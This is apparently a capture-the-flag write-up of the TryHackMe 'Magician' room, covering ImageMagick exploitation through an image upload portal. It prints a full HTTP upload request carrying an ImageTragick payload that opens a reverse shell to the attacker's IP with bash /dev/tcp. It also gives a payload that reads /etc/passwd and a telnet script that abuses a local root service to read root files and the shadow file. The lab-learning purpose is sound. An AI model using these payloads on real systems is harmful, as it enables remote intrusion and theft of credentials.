Magician

This magical website lets you convert image file formats.

This is Magician from THM. It’s easy rated, but it wasn’t that easy.

Ports

FTP and two HTTP ports, on 8080 and 8081.

FTP

Anonymous login is available, and we get this message:

──(root💀kali)-[/opt/thm/magician]
└─# ftp magician  
Connected to magician.
220 THE MAGIC DOOR
Name (magician:root): anonymous
331 Please specify the password.
Password:
230-Huh? The door just opens after some time? You're quite the patient one, aren't ya, it's a thing called 'delay_successful_login' in /etc/vsftpd.conf ;) Since you're a rookie, this might help you to get started: https://imagetragick.com. You might need to do some little tweaks though...
230 Login successful.

Most of the other commands don’t seem to work; we can’t get a directory listing or download anything, and we can’t put anything either. Let’s check that website.

https://imagetragick.com

TL;DR
There are multiple vulnerabilities in ImageMagick, a package commonly used by web services to process images. One of the vulnerabilities can lead to remote code execution (RCE) if you process user submitted images. The exploit for this vulnerability is being used in the wild.

I hadn’t heard of this before, but it’s pretty interesting.

At http://magician:8081/ we have a portal to upload a PNG file for conversion to a JPG, which we can then retrieve at http://magician:8080/files/ (note the different port). The root of http://magician:8080/ is an error page for Whitelabel, which is apparently a generic Spring Boot error.

Okay, we can capture our upload with Burp and modify it. It took me some time to figure out, but this payload gives a shell:

POST /upload HTTP/1.1
Host: magician:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------380246407337907131483672431372
Content-Length: 368
Origin: http://magician:8081
Connection: close
Referer: http://magician:8081/

-----------------------------380246407337907131483672431372

Content-Disposition: form-data; name="file"; filename="pass.png"
Content-Type: image/png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/someimage.jpg";bash -i >& /dev/tcp/10.9.10.123/1234 0>&1")'
pop graphic-context

-----------------------------380246407337907131483672431372--

This payload gave a file read:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 ‘label:@/etc/passwd’
pop graphic-context

So that was new and pretty interesting.

Privesc

We are the user magician and we get a message:

The magician is known to keep a locally listening cat up his sleeve, it is said to be an oracle who will tell you secrets if you are good enough to understand its meows.

With some enumeration we can figure out a server is running on port 6666 on the localhost. We can connect to it with telnet:

magician@magician:~$ telnet localhost 6666
telnet localhost 6666
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.1  

Note we hit enter twice to send this.

We get a reply that includes a trollface; I won’t show the whole thing:

HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Mon, 22 Feb 2021 09:53:36 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2851

<!DOCTYPE html>
<html>
  <head>
    <title>The Magic cat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Bootstrap -->
    <link href="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
    
<div class="navbar navbar-inverse" role="navigation">
    <div class="container">
        <div class="navbar-header">            
            <a class="navbar-brand" href="/">The Magic cat</a>
        </div>        
    </div>
</div>
<div class="container">
<form action="" method="post"
  class="form" role="form">
<div class="form-group "><label class="control-label" for="filename">Enter filename</label>

Right, so we’ve got a POST request with a filename variable. I try to interact with it through telnet, but it times out. So it’s script time:

┌──(root💀kali)-[/opt/thm/magician]
└─# cat tel.sh           
echo "open localhost 6666"
sleep 2
echo "POST / HTTP/1.1"
echo "Host: localhost"
echo "Connection: close"
echo "Content-type: application/x-www-form-urlencoded"
echo "Content-length: 23"
echo
echo "filename=/root/root.txt"
echo
echo
sleep 2

I copy this to the box, make it executable and invoke it like so:

telnet> magician@magician:~$ ./tel.sh | telnet

This produces the goods, although it is (trivially) encoded; I’ll leave that out. I did also use this technique to grab the shadow file (which came hex encoded) but the password for magician at least doesn’t want to crack easily.

So, that was that and I must say it was pretty good. Well done ripcurlz and ms.geeky.